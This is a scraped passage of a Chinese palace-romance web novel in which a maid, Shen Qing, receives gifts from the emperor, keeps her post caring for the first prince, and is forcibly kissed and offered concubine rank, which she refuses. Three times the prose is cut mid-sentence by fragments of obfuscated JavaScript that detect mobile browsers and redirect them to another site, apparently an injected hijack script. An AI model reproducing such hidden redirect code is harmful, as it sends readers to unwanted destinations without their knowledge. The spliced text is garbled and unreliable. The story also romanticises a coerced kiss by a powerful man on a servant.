好在,直到皇上离开,他都没再提起沈青,在乾清宫奴才们的簇拥下从大皇子处离开,沈青送到门槛时便站定,不过一会儿就扭头回了大皇子身边。 这时,吃饱喝足的大皇子已经不哭不闹,反而用那双灵动的眼睛到处去看。 这么乖的小家伙,皇上走时居然没抱一抱。 惊讶之余,沈青拿起旁边的玩具开始逗大皇子,逗得他哈哈直乐,声音如银铃般悦耳。 奶嬷嬷亦是道:“大皇子光听声音就知道是个十足康健的,怪不得皇后娘娘每每见到大皇子都要赏赐大皇子身边伺候的人。” 坤宁宫中最得意的宫人便是大皇子身边照顾的,无论是去小厨房还是哪儿,都会紧着她们来。 好在,她们也不负皇后所托,将大皇子养的白白胖胖,三个月了,中间一次病也没生。 奶嬷嬷见大皇子不睡,便围绕着这个话题开始说。 沈青笑意盈盈地看着她们聊,心想,皇后紧张大皇子,擅长儿科的太医每日都来为大皇子请脉,大皇子就是想生病也没机会啊,况且这里任意一个奶嬷嬷都是那样的经验丰富,大皇子皱一下眉,她们都能说出个一二三来,再出宫,怎么着也是权贵家里的座上宾。 宫里的人都这样,即便是自己的功劳,也爱往主子身上扯,力证是主子优秀。 这时,厚门帘被掀开,钱继露出半个身子,恭恭敬敬喊人道:“沈青姑娘。” 沈青扭头,见是钱继,而钱继又没进来的意思,便放下手中的东西,道了声这就来,快步走出去。 钱继扶着门帘,待到沈青出来,才放下。 “可是皇上落什么东西了?”皇上走之后,软榻那里沈青还未来得及去瞧,便陪到大皇子身边直到现在。 看钱继来回的时间,估计刚到乾清宫就急忙折回来了。 钱继笑眯眯道:“不是落,是忘了留东西给你了。” 说着,他将一个长木匣拿出来,木匣上是工匠雕出的山水画,简中有繁,煞是精致,木头用的也是金丝楠木,光是匣子,就值得收藏了。 如此富贵,也只皇上能拿出手了。 沈青本不欲收,她和皇上又没什么,又不是给大皇子的,她留下算怎么回事。 但脑中灵光一现,串珠,她想到了串珠! 皇上没将串珠留下! 上次还说要三个月,现下才一个月,许是在榻上睡得脑袋都木了,也就忘记了此事,记起时人都到乾清宫了,自不想再跑一趟,便将东西装进看得过眼的木匣中,让钱继给她送过来。 毕竟不光彩嘛,可不得用东西装上。 沈青抿着唇伸手将匣子接过来,鉴于自己心知肚明了,便什么也没问,只道:“劳烦了。” 钱继见沈青接了,才又拿出一棕色荷包,上面绣着小龙,沈青记忆不差,认出这是皇上今日佩戴的荷包。 “皇上说,这里面的东西你清楚。”即便不知道皇上在和沈青打什么哑谜,钱继还是那副笑着的模样。 沈青一头雾水,她从哪儿清楚,串珠不是已经接下了吗? 她迷茫地看向钱继,不准备接下荷包。 钱继耐心等她反应过来。 片刻过后,沈青伸手捏了捏荷包,里面是她熟悉的,隔着各种布料也能摸出来的东西,毕竟戴了一个月了,也幸而冬天的衣裳厚,即便离她极近也看不出来。 沈青低头,疑惑,那匣子里装的是什么? 一时间顿觉手里的东西沉手起来。 她和皇上的关系没好到送东西的程度吧,就算是皇后给她东西,也是以赏赐的形式,而这匣子,倒更像件礼物,不掺杂赏啊赐啊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378833|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈青直截了当问:“钱继公公,奴婢糊涂,这匣子里面装的是什么,这是给奴婢的吗?或是公公领会错了皇上的意思?” 钱继摇摇头:“我们两个人就不必奴婢来奴才去了,这我听得很清楚,都是给你的。坤宁宫里还有第二个叫沈青的宫人吗?” “若是没有,那便对了。” 至于先给匣子后给荷包的吩咐,就不必给沈青解释的那么清楚了。 钱继将手一交叠,既然东西给出去,自没有再带回乾清宫的道理。 沈青不让他糊弄过去,点明道:“不对,木匣错了,荷包才对。” 她一手收起荷包,一手将木匣递出去。虽然说她一个人独住一间,但皇上的东西真不好收,一串珠子就够折腾她了。 钱继仍未伸手:“说起荷包,皇上还说,沈青你的女红不好,如何能给皇子制东西,要你先绣出个荷包练手,样式就照这个荷包来,务必要一模一样。丝线待会儿会有人送来,嗯,皇上还说,劳烦了。” 一句劳烦,将沈青未来得及说出口的拒绝噎了回去,上一个劳烦还是不应声皇上话的时候。 沈青:“……” “……我绣技并不精湛,恐怕许久也绣不成一个,若是绣不成,这荷包难道就不还回去了吗?” 她就拿了一会儿绣绷,却被人看入了眼。 钱继道:“皇上亦是说了,只要不偷懒,总归是练手,绣成什么模样都可,不拘多长时间,只要见个成品,若长年累月绣不出来,可见是心不诚。既心不诚,如何能在大皇子身边做事?且这荷包,万万不能假手于他人,想必姑娘的技艺,皇上心中是有数的。” 沈青泄气,露出一个比哭还难看的笑容。 简直是挟大皇子以威胁。 她必不可能抛弃这么好的差事,怎么着也得干到出宫之前。 不就是绣荷包吗?巴掌大的布,也费不了多少功夫,既然清楚她的技艺,糊弄过去就是了。 哼哼。 沈青在心中哼笑两声,见推脱不掉便果断应下:“公公这说得什么话,皇上吩咐,我自当努力去做,不需要多长时间,我必将成品双手奉上。” 至于龙变蛇,蛇变虫就不是在她的考虑范围了。 钱继闻言自是满意,沈青这般说了,他回乾清宫就有话可回了。 当下,不需沈青相送,便借口皇上身边离不了人,麻溜地回去了。 而木匣,自是留在了沈青手里,钱继压根不给她将东西还回去的机会。 沈青带着东西回自己的房里,东西既然留下来了,她便也毫无负担打开。 荷包里果然是熟悉的串珠——既然皇上今天来了,那明日必不可能再来看大皇子,过两日再戴好了。 沈青怀着侥幸心理将串珠重新放回荷包中。 然后打开木匣,是推拉式的,很丝滑,一件宝石金钗显露出来。 沈青震惊地拿到手上端详,金钗的两股用了錾刻工艺,摸着有微微凸起的纹路,钗首则是细金丝盘绕着振翅蝴蝶,蝴蝶四个翅膀,以及身体,各镶嵌着蓝绿色的宝石,将黄金的庸俗瞬间压得典雅了许多。 这支金钗既繁复又美丽,蝴蝶灵动的似要飞走,光是看着都能想象得到工匠是费了多大心力才做出这一件可以传世的炫技之作。 早说是这宝贝,她至于推拒吗? 给她一百件,她都敢收! 可惜这金钗和头上的玉簪气质不适配,不能一起戴了。 43. 第 43 章 沈青将金钗拿到手中端详,见金钗如手掌般大小,才意识到这是支足够大且有分量的金钗。 大金钗上的宝石,最大的那一颗和大拇指指腹差不多,且十分深邃透亮,摸上去质感颇硬。 她当下就将金钗插进了发髻中,扭身望向铜镜,伸手调整了下位置,犹豫了下,将原本的玉簪取了下来。 沈青梳头喜欢将头发梳的紧绷绷,这样不容易散,且她的发量多,梳的再紧也显得非常蓬松。 她以往的发饰都是用来点缀发髻,让发髻更出彩些。 这支金钗不同,因为它足够大,一下子就将发髻的重心移到它身上,不过正因为够大,衬得沈青的脸愈发小了,也更加精致了。 不仅没压下她的雪肤花貌,反而增了几分贵气。 沈青不禁露出开心愉悦的笑容,望向铜镜中一样动作美的不可方物的美人,心里跟吃了蜜一样甜。 翌日,沈青还是戴回了玉簪,大金钗太招摇。 今日皇后要带大皇子去给太后请安,届时一屋子嫔妃,戴金钗是会抢风头的。 低调点好。 慈宁宫外,小雪飘落,慈宁宫中,皇后老老实实给太后行了完整的请安礼,太后这才出声让皇后起来。 贤妃早早就在慈宁宫,在皇后行礼时她也依礼朝皇后行了个礼。 皇后面上一派沉稳,唇边还含着笑,站起来落座后似是没发现贤妃朝她行礼,一句免礼的话也没说。 俄顷,贤妃面色如常站起身,皇后慢悠悠道:“方才专心向太后行礼,没看到贤妃妹妹,未叫贤妃免礼,真是本宫的不是。” 【我给太后行礼,颜氏给我行礼,我于礼法上反抗不了太后,颜氏难道能反抗得了我吗?】 贤妃听出了皇后的弦外音,目光落到自己的指甲上,抚了抚,道:“娘娘事务繁忙,一时疏漏,贵人多忘事,实在情有可原。” 贤妃拉长了语调,言语间意味深长,似是真不在意这行礼的小事,倒显得皇后斤斤计较似的。 皇后眼中有一瞬间的晦暗,不过她很快调整了过来:“本宫打理六宫,确实不如妹妹清闲。” 太后眼中闪过厌烦,不过当了一年皇后,耍威风竟敢耍到她面前,跟谁没当过皇后似的。 到底时间不长,沉不住气,仍是个蠢妇。 反倒是英华,在佛堂几个月,沉稳了许多,想起昨日英华和她商议的事,太后目光微闪,倒可以断皇后一臂,也让皇后知晓,不是当了皇后生了皇子,就可以高枕无忧了。 太后开口道:“将璨儿抱给哀家看看。” 跟在皇后身边的沈青看向抱着大皇子的奶嬷嬷,示意她到太后跟前。 太后要看皇子,自不能阻止,皇后盯着太后的动作,心想众目睽睽之下太后也不会下手。 【这可是太后唯一的孙辈,再讨厌本宫也必不会牵连到璨儿身上。】 皇后这般告诉自己,但还是忍不住忧心,万一呢。 大皇子此时醒着,太后伸手拨了拨大皇子的下巴,摸了摸小脸蛋:“一段时间不见,璨儿长的可真快,皇祖母都要不认识喽。” 皇后笑着道:“小孩子都这样。”只字不提多抱大皇子来慈宁宫看太后。 太后看了一会儿,让人拿来了件螭龙纹玉璧,是为平安扣,放在了大皇子胳膊下,仔细掖了掖包被一角。 唯愿这个孩子平安顺遂。 皇后见此脸上露出真心实意的笑容,无论怎么样,太后还是疼大皇子的。 太后挥了挥手,奶嬷嬷将大皇子抱了回来,平安扣贴着婴儿的身体放,即便隔了层衣物,也会让小孩子不舒服,于是她便将平安扣取了出来,交给了沈青。 沈青将平安扣收到袖中,等回去再登记造册,问过皇后看是放在库房中,还是放在大皇子屋内。 她们的一串动作没逃过太后的法眼,这原也没什么,但太后一见沈青,便沉吟道:“皇子身边的管事宫人年轻,如何能管住底下的奴才,又如何能照看好主子?” 太后是打心底不相信沈青,看着娇娇弱弱,纤腰细腕,那张脸更是没什么威慑力,放在大皇子身边,能成什么事? 皇后看向太后,不语,等着太后的未尽之言。 沈青垂眸,能不能照看好,她也干了几个月了,先前又不是没在大皇子身边见过她,现在才疑心她的能力,打的心思简直显而易见。 太后果然继续道:“不如哀家派个资历深厚的嬷嬷到大皇子身边,也能更好的照料大皇子。” 皇后扯出一抹假笑:“沈青年纪轻是不假,可就是这样的人,心思才纯粹,能一心为大皇子,臣妾用着才放心。母后指派的嬷嬷想必很忠心,但这小孩子现在最是闹人,白天黑夜的闹腾,恐怕搅的嬷嬷精神不济,到时也如臣妾对贤妃这样疏忽了大皇子,可就不美了。” 太后道:“宫里的嬷嬷必不会分神……” 皇后打断道:“可就算如此,璨儿已经对身边的人熟悉了,若增了添了宫人,想必会很不适应。” 如果目的是想在大皇子身边安插人,那皇后是分毫也不会让。 反正已经和太后撕破脸了,便也不差这一回。 太后对皇后的不满在这一刻达到了顶峰,她一个当皇祖母的,派遣嬷嬷,能是害皇子的吗? 绝佳的涵养让她没有沉下脸。 太后看向沈青:“年长的嬷嬷不合适,那年纪小的宫人就更不适合呆在皇子身边了。” 沈青垂着眼,兜兜转转竟然又绕回了她这儿,太后拗不过皇后,便想拿她杀皇后的威风。 皇后闻言态度有一瞬迟疑。 【若沈青回到我身边能平息太后的怒气……】 沈青一惊,她能呆在大皇子身边,全因皇后,若皇后心思一变,她便是必走的局面。 回到皇后身边,遇见后宫嫔妃的频率高,时时刻刻都要向人请安,不能有丝毫懈怠。 无论是谁都知道该选什么。 沈青心一横,赶在皇后开口之前道:“太后、皇后娘娘,奴婢有话要说。” 皇后道:“允。” 太后抬眼。 沈青分辨道:“奴婢虽然年纪轻,但自大皇子出生后便在大皇子身边侍奉,对大皇子的一应事宜了如指掌,亦万般上心不敢有丝毫错眼,三个月来大皇子未生过一次病,未有一次伺候不周。奴婢不敢将这些事全揽在奴婢一人身上,但浅薄以为奴婢还有点照料皇子的经验。” “恰如皇后娘娘所言,如果奴婢有一颗忠心,便会全用在大皇子身上。” 不管了,想到什么说什么吧,如果现在不争取,那可真就没机会了。事实上,她被分到大皇子身边,对比以前是轻松,但对大皇子亦是十分上心,挑不出差错的,不然没等太后开口,皇后就会先把她换掉。 但愿皇后能转变想法。 沈青心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385074|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮起忧伤,面上仍是低调沉稳的模样。 皇后心神一荡,如此短的时间便对大皇子这么忠心,试问,还能找到另一个她能完全放心又满足太后要求的人吗? 怕是下一次,还会一如既往挑刺。 太后:“牙尖嘴利。” 这便是挑不出错漏的意思。 皇后眼中浮起笑意:“母后心中想必也是满意的,这丫头虽年纪轻,但做派稳重,皇儿交到她手里臣妾方能放心。” 转而,她语气忧愁道:“母后也知璨儿是不足月生产,身子骨较正常小孩弱,但这三个月来璨儿的状况您也看到了,未必没有沈青的功劳,若贸然换了人……” 太后想也不用想,皇后说这话,就意味着日后大皇子病了伤了,全是她这个皇祖母不慈的缘故。 只想换个人,就让她背这么大的锅? 太后耷拉着眼皮,松口也不是,不松口也不是,要么她的威严荡然无存,要么日后背个不慈的名头。 这时,慈宁宫小太监通报的声音响起:“皇上驾到——” 太后皇后贤妃并几名能来慈宁宫的妃嫔目光看向门口。 两侧的宫人将门帘掀开,纪宸伴着一身寒意踏了进来,屋内燃着火炉,他将身上的狐裘解下递给身旁的太监,这才朝太后这里走过来。 “儿臣给母后请安。” 太后面色一喜:“快快起来,早让宫人给你备了一碗姜汤,你饮一些,驱驱寒。” 几名嫔妃含蓄又激动地看向皇上,似是在看什么稀奇之物。 皇后听着天底下最尊贵的母子寒暄,面容温婉,笑意不达眼底。 不怕太后不喜自己,就怕这种情况下太后和皇上还关系亲厚。 若非皇上不会扶颜家女为后,否则她根本没法儿和背后站着太后的贤妃斗。 颜贤妃成也颜家,败也颜家。 皇后从没这么清晰认识到,皇上靠不住,她能靠的唯有她的皇儿。 纪宸和太后寒暄结束,环顾室内:“方才在聊什么?” 贤妃道:“在聊将大皇子身边的宫人换掉。” 纪宸正大光明看向沈青,升起兴趣:“为何?” 转而看到沈青发间仍戴着那根玉簪,嘴角的笑意不由收了起来。 “年纪轻轻,恐担不得照看大皇子的职责。”贤妃忧道,“大皇子身为皇子,乃重中之重,用人慎重些总没错。” 纪宸:“但朕瞧着她干的不错,就这样,不必换。” 贤妃眼中闪过精光:“皇上居然记得一名宫女?” 二人一问一答,沈青听到纪宸说的不必换,惊讶之余便知道稳了。 皇上发话,这事便确定下来了,毕竟真论起来不过一桩小事,宫里没有皇上做不了主的,何况这。 纪宸本不欲答,但没想到他送去的东西都有人敢不戴,心中隐隐不悦,便嗯了一声。 这下,室内众人的目光都落到沈青身上。 亦看清了那刻意低调下的容貌。 真真是冰肌玉骨,眉如远山含黛,眸若秋水含情。 宫人中不乏美貌的,毕竟进宫当宫女亦有容貌要求,但长成这副娇怯柔弱样子的绝色佳人,却没几个。 她们刚刚是怎么忽略了她,只以为这个宫人老实本分的? 谁家老实人长这样? 沈青凝神静气,忽略这一道道强烈的目光,但握紧的手到底露了怯。 44. 第 44 章 沈青素来是走一步看一步,但怎么样也无法预料到这种场面。 好在,她现在是皇后的人,而且其他嫔妃实在不必觉得她是个威胁,因为皇上压根没有纳宫女的先例,若真喜欢,会留着她继续呆在大皇子身边吗? 皇上做事全随心意,即便她面上不敢表露什么,但心里是抱怨的。 这种情况下,她自己是含混不过去的,唯一能的不过在慈宁宫中这几位有分量的主子。 沈青颤巍巍抬眼,探看一眼皇后,目露哀怨与希盼,嘴巴抿着,似乎很是无措。 可怜巴巴求垂惜。 情绪对了,使用的人错了。 纪宸阖眼,眼底情绪翻滚。 皇后微乐,观皇上的态度,她方还在思考着沈青这颗棋似乎是活了,结果转眼,沈青神来一笔将这微妙的氛围破坏殆尽。 不过……她却忽然一口气顺了下来,下巴微抬,心中自得。 这种滋味稀奇,明明是副可怜娇弱的模样,她却并不感到厌烦。 只觉得不枉她厚待沈青。 但是这样一来,沈青便也错失了机会,如果趁热打铁,未必不能成为后宫嫔妃。宫人做着有什么意思,不如成为主子,争也能正大光明争,于皇后自身而言,也得了枚这后宫棋盘上好用的棋子。 皇后清了清嗓子,微笑,柔声道:“沈青之前是臣妾的贴身宫女,皇上记得再正常不过了,臣妾之前身边还有位叫青玉的,皇上亦是记得名姓,贤妃这般,反倒有些大惊小怪。” 沈青是她的人,该护还得护。 贤妃觑了皇后一眼,复又看向皇上,但却瞧不出皇上此时的意思,于是便止了声。 沈青看向皇后的眼中闪烁着光,嘴唇也不自觉翘起。 赌皇上的垂怜有什么意思,皇后的垂青于她而言才更稳固。 她不相信皇后仅仅因为皇上记得她的名字,就会忘记过去她们的种种,即便在封建社会皇后和她也不过主仆,论也只能论主仆情。 如果皇后真的厌弃她,那也情有可原,到那时,她就不会扭扭捏捏什么都不做,而会不择手段往上爬。 但皇后回护她的态度鲜明,她自不会走更难的路。 其余嫔妃纵然忌惮,听到皇后的话也将目光收了回来。 盯的久了,平白讨嫌,小宫女的美貌也不会因此而发生变化。 何必给自己心里添堵呢? 她们若有若无的目光看向皇上,期盼着,皇上可千万不要一时兴起将这宫女收入后宫,不然,多一个劲敌,她们本就少的恩宠就更稀薄了 好在,皇上方才的应声更像是随口回应贤妃的疑问,之后便转而谈起大皇子,对方才的事仿佛也不甚在意。 太后道:“何贵人身怀龙裔已有六个月了,皇上皇后也该上心些。” 皇后不明所以看了眼太后,不知她提起何贵人是何意。 何贵人是她的人,她纵然现在有大皇子,也不会对何贵人出手,平日以安抚赏赐为主,不会做错事使何贵人和她离心。 宫里注定不会有一个孩子,况且,她非天生恶毒的人,唯一一次出手,伤的还是自己的身体,不至于容不下妃嫔怀孕。 纪宸闻言,着人列了些赏赐送到宁辉苑。 何贵人自御花园一跌,便一直在宁辉苑养胎,皇后亦免了她的请安。 皇后见此,也赏赐了何贵人些东西。 慈宁宫请安结束,沈青跟在皇后身边,不忘让奶嬷嬷将大皇子包好,天寒地冻的,免得冻着大皇子。 皇后乘着凤辇,开口道:“将璨儿给本宫,本宫带回坤宁宫,路上滑,别跌着了大皇子。” 又对大皇子温声道:“璨儿来,母后抱。” 奶嬷嬷将大皇子递给皇后,大皇子认得皇后,在皇后怀里也十分乖巧。 一行人坠在凤辇后面。 回到坤宁宫,沈青还没坐下,钱继就出现在她的面前,并道请她去乾清宫一趟。 自不必说,是皇上的命令。 但也未惊动坤宁宫的人,钱继是私底下来传唤她过去。 想到皇上,沈青便不由想到早上在慈宁宫的事,当时皇上是朝她看了一眼,才应声贤妃的事,让她成为众矢之的。 作为皇帝,他不会对贤妃的话不敏感,非要究其原因的话,大概是在不高兴。 看了她之后不悦……沈青心虚地摸了摸脖子,不是吧,眼那么尖? 她没带串珠真的很明显吗? 沈青冲钱继眨巴了下眼睛,恳求道:“我取一下东西,就跟你走。” 钱继含笑,却毫不留情:“陛下说了,须得原模原样将姑娘给带过去。” 沈青顿时垂头丧气,说的这般明白,必是发现她偷懒了。 如何力证她就懈怠了这一天? 不把皇上的命令当回事,也怪不得搞她了。 沈青笑不出来,悲壮道:“走吧走吧。” 钱继将沈青带了出来。 在去乾清宫之前,沈青都是情绪低迷的,但就算如此,她也不忘在心中组织狡辩之语。 能有一丝生机,她都要死死抓住,把它扩成一道阳光。 进入乾清宫的大殿中,给沈青的第一感觉便是静,安静的让人心里发慌,让人不禁发怵,乾清宫的宫人都不呼吸吗? 沈青轻轻扫了一眼,看向钱继。 那双眼睛只是微微疑惑,便足够生动,让人知晓她在困惑什么。 钱继看出来了,她是在问,皇上呢? 钱继道:“皇上在寝殿,你往里面走便是,皇上不许旁人进去。” 沈青了然,不许旁人进去,就意味着相当生气。 看来串珠在皇上心中的分量真的很高,如今她慢待了串珠,皇上就要拿她是问。 所以进去之后,她得先开口请罪,以降低皇上心中的怒气。 沈青抬脚往寝殿走,走近,推开寝殿紧闭着的门,转身合上,阻隔了外殿可能的视线。 她深吸一口气,往里走。 这次,毫不费力便发现了皇上在哪儿。 在龙床上。 靴子被一前一后扔在地上,床上的纪宸还穿着在慈宁宫的穿着,不过衣裳已经松散了,半边被子搭在他身上,他整个人呈大字躺在龙床上,双目睁着凝视上方,在出神思考着什么费解的事。 直到寝殿的门发出声响,他的目光才盯向来人。 沈青此时已经完全忘了先行礼的事,小碎步走到龙床前,一个滑跪不待纪宸出声便开始请罪道:“奴婢有罪!” 纪宸的神情稍霁。 沈青语似连珠:“奴婢不是故意不戴皇上的串珠,实在是昨日忙迷糊了,一时就将荷包给忘了,早上又得去慈宁宫,就一时没记起来此事,等到记起来的时候,已经在去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393795|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈宁宫的路上,没办法折返回去去取了。从慈宁宫回来,奴婢就想把串珠找出来戴在身上,但皇上您料事如神,知晓了此事……” “奴婢冒失,有失皇上所托,实在该死,请皇上给奴婢一次将功补过的机会。” 沈青的头扣在交叠着的手掌上,没发现纪宸刚缓和的神色又一下沉了下去。 他只看出沈青没戴他送的发钗,才在慈宁宫鬼使神差应了贤妃的话。 之后,没向他求助才是他现在不爽的根源。 即便回到乾清宫也意兴阑珊,让钱继将人给他叫来,想干什么还没想好,但至少得把那个恼人的玉簪取下来。 纪宸思来想去,沈青可恶,玉簪也可恶,送玉簪的人更可恶。 他想沈青诚心认错,谦卑可怜…… 不过万万没想到,沈青先心虚爆出玉串的事。 上方久久没有声音,沈青心中琢磨不定,忽然,她察觉到她的玉簪被拔了出来,然后掷到地上,玉碎的声音传来。 旋即,她的头发散开了一部分,散在背上。 沈青心中咯噔一下,脑中一片浆糊,已经分不出心绪到碎了的簪子上,满脑子都是,皇上不会想在这里幸了她吧? 这也不怨沈青胡思乱想,实在是床、皇上、美人、美人散开的头发要素都齐全了。 不发生点什么反而有些违背常理。 沈青小心翼翼抬头,与纪宸晦暗的目光撞上。 沈青咬唇,纪宸伸出手拂过蹭到她脸颊上的发丝,因为这个举动,沈青要抬头避开纪宸的手,背便慢慢直了起来。 他们此刻的距离近,但又没有那么近。 纪宸伸手环住沈青的腰,像昨天一样将人带了上来,不过与上一次不同,这次,沈青是直接落进了纪宸的怀里。 双腿还蜷着,她低头,是跪在了纪宸身上。 沈青还没来得及出声,就被一双手抱住,被迫仰头。纪宸的拇指落到她脸颊上,其余手指则探入她的发中,随即拥吻起来。 沈青猝不及防之下睁大了双眼,满是震惊,却见纪宸已经闭眼,甚至还伸着…… 这一切都太快了,根本让人反应不及,所以在纪宸舔了她一下唇,她就直接将唇齿分开了。 这可不是什么好的反应,而纪宸似是觉得得到了她的允许,更激烈起来。 恶狠狠的,似乎想将往日的无视报复回来。 沈青到后来,甚至没有办法睁着眼控诉,双眼迷瞪,被迫承受亲吻已经用了她全部力气,更是没法回应,亦没法暂停这事。 纪宸的一只手移到她的后脑勺,压着她,不许她躲开,一只手环着她的腰,不让她腰肢软下去。 等到纪宸亲完,沈青能做的唯有张着嘴巴伏在他怀里拼命呼吸新鲜空气。 确定了,皇上真要睡她! 之前压根不是她的错觉。 皇上若不主动释放信号,她一个宫女怎么可能想入非非。 纪宸亦不想装了,钓人哪有直接亲人好使,方才沈青的一切情绪都是因他而起,心心念念的都是他,这便很好。 他很喜欢。 于是他将歇了力的沈青扣在怀里,垂首道:“做朕的才人,如何?” 皇帝的衣裳磨人肌肤,但这时候,也就不挑什么了。 沈青明明白白回答道:“奴婢不愿。” 没有丝毫迟疑。 45. 第 45 章 “为何?” 沈青没有抬头观察纪宸的表情,但听这声音还算平静,似乎只是寻常询问,便也没多大恐惧。 殊不知纪宸抚在她脊背上的手一顿,青筋暴起,改为扣着她。 沈青心里吐槽,才人只比宝林高,它上面美人贵人婕妤嫔林立,见到后宫一大半的嫔妃都得行礼,住的屋子也不大,如果离坤宁宫远了,早上天不亮就得收拾收拾起来,也没有步辇可以乘坐,只能走过来,一来一回脚都要废了。 除了多个宫女可以使唤,吃饭都得掰着指头数自己的份例,她没有娘家给银子,开销一大,就得紧巴巴起来。 至于赏赐,那得哄太后、皇上、皇后高兴,或者有功才有,如果上面有宫里的印记,压根换不了银子,若是御赐之物,还得摆在屋子里,每天恨不得上三柱香以表虔诚。 唯一的外快可能是升位份时,其他嫔妃送的贺礼,可宫中升位份难不说,难道其他嫔妃升位份就不用送了吗?总是要还的,到头来,忙忙碌碌一场空。 况且其他嫔妃争宠是为了家族,可沈家根本不需要她争,沈家跟官场的关系只有一位姻亲在朝为官,沈青在沈家族学时曾见过那位姻亲官员送到沈家族学读书的公子小姐,不过只是小官之子,连遮掩都不遮,言行上是瞧不起作为商贾的沈家的。 更不必说她这一房都被分出沈家了。 是,皇上现在或许有点迷恋她,但这都是建立在她年轻貌美上,等得手了,腻味了,有新人了,或许连她叫什么都不记得了。 宫里嫔妃为何着急有孕,还不是害怕年老色衰时连个皇子公主傍身都没有。 等总算宫斗完了,也顺利活到最后,新帝登基,对局结算,除了太后,其他太妃一气儿扔进一个宫殿里,和往日虚情假意的姐姐妹妹在一个宫殿里做邻居,给新帝的嫔妃腾位置,到时还有的哭呢。 至于生了皇子,等皇子封王将生母接出去?可皇上这生育能力瞧着是不行啊,这么长时间了,总共就怀孕了俩。 与其寄托于此,还不如老老实实熬到二十五岁被放出宫,到时凭她的美貌和多年在宫里积累的财富,不信找不到一个可心的。 皇帝什么的,玩玩就行了,谈感情?真没必要。 沈青真心道:“才人的位份太低,奴婢要做就做主位娘娘。” 她的气息还有些不稳,但抓着纪宸的衣裳,总算将话说完了,尾音上翘,不用掰着脸看,都能想象得到她骄傲抬下巴的模样。 “野心不小。”奇异地,纪宸的心平静了下来,没有丝毫被拒绝的不悦,眼中反而漾起笑意,“但朕是不会同意的。” 沈青鼓了鼓脸,她就知道! 男人啊,你直接拒绝,他会觉得伤面子,但你将条件抬高,他便会觉得,他能允诺,但因为代价太大,他才不愿意。 对方是皇上,沈青只能将主动权递回去,让纪宸来做选择。 而纪宸,对位份实在太抠了,宠爱了两年的杜明漪杜氏最高是个婕妤,贪恋陆云湄的美色,却在人家刚入宫能当贵人时,让人家当美人…… 如果皇上能让她成为主位娘娘,住大宫殿,穿数不清的好看衣裳,有戴不完的首饰,沈青会疯狂意动。 但眼见着,纪宸是没有诚意的,因为她是宫女,所以施舍她一个才人的位份,就觉得合宜,觉得她会感恩戴德。 若现在他面对的是官员之女,绝不会只是才人。 说到底,是她身份不够,纪宸又不够喜欢。 “怎么了?不高兴?”怀里的人不吭声,似在闹脾气,纪宸只能无奈出声。 他的声音带着说不出的宠溺,但沈青绝不会被这个假象迷惑的。 沈青哼了一声:“累。” 在此之前,她从没有发现自己这么虚,纪宸也太凶了,还以为要把她给咬死,现在嘴巴还酸疼的厉害。 因为这是疯狂拥吻后的喘息,此时即便恃宠而骄,那也是被允许的。 甚至某人还会觉得可怜可爱。 纪宸闷笑一声,将怀里的人换了个姿势,让她坐在自己身上,垂眼看着累瘫到埋在他身上,只露出毛茸茸脑袋的沈青。 她说的并非假话。 真的累极了。 聪明如他,如何看不出沈青这是在隐晦地拒绝,可主位的位份,他不可能直接给出。 这个话题不必再谈,因为谈到最后,亦会不欢而散。 他给不出她想要的,她也不想只做个才人。 纪宸略过这件事:“既然累,那便睡吧。” 被纪宸这么一说,只是没有的力气的沈青当真觉得困了,眼皮渐渐落下,眨眼睛的频率越来越慢,最后困倒在龙床上。 纪宸将她放到龙床的最里面,拿出一条被子给她轻轻盖上,这个位置,不仔细瞧,完全看不出这里还藏着一个人。 纪宸躺在沈青身边,即便十分清醒,也想陪着睡会儿。 - 沈青醒来的时候,已是晌午了,坐起来时还摸不清自己在哪儿,直到看到床帐上的暗纹才扶着脑袋回忆起睡前发生了什么。 她站起来,往床边走了几步,一边惊讶于龙床之大,一边思索着怎么迅速从乾清宫离开。 她身上的衣裳皱巴巴的,不适合再穿,头发散了,玉簪也碎了,沈青的脸上不由浮上愁容。 不过好在,她和皇上应该达成了默契,纪宸应是不会再提让她成为嫔妃的事。 今天就当被狗啃了,纪宸的脸好,恃脸行凶,不吃亏。 沈青这么想着,从床上下来发现旁边放着几个托盘,上面摆着跟她身上样式一样的新衣服,新鞋,以及玉簪和一整套头饰。 玉簪自然不是她原来的那个,原本碎掉的玉簪也不知去哪里了,她往玉碎的地方找寻,也没找见,不由郁闷。 装着清水的铜盆放在一侧,各式的发梳也都有,纪宸的寝殿摆着一面光可鉴人的大铜镜。 沈青梳洗过后换上新衣裳,去照铜镜,发现跟她早上不无不同,便抬脚准备走了。 刚踏出寝殿,候着的钱继便领着她出去,边走边解释道:“皇上现在在面见大臣,吩咐奴才将您送回去。” 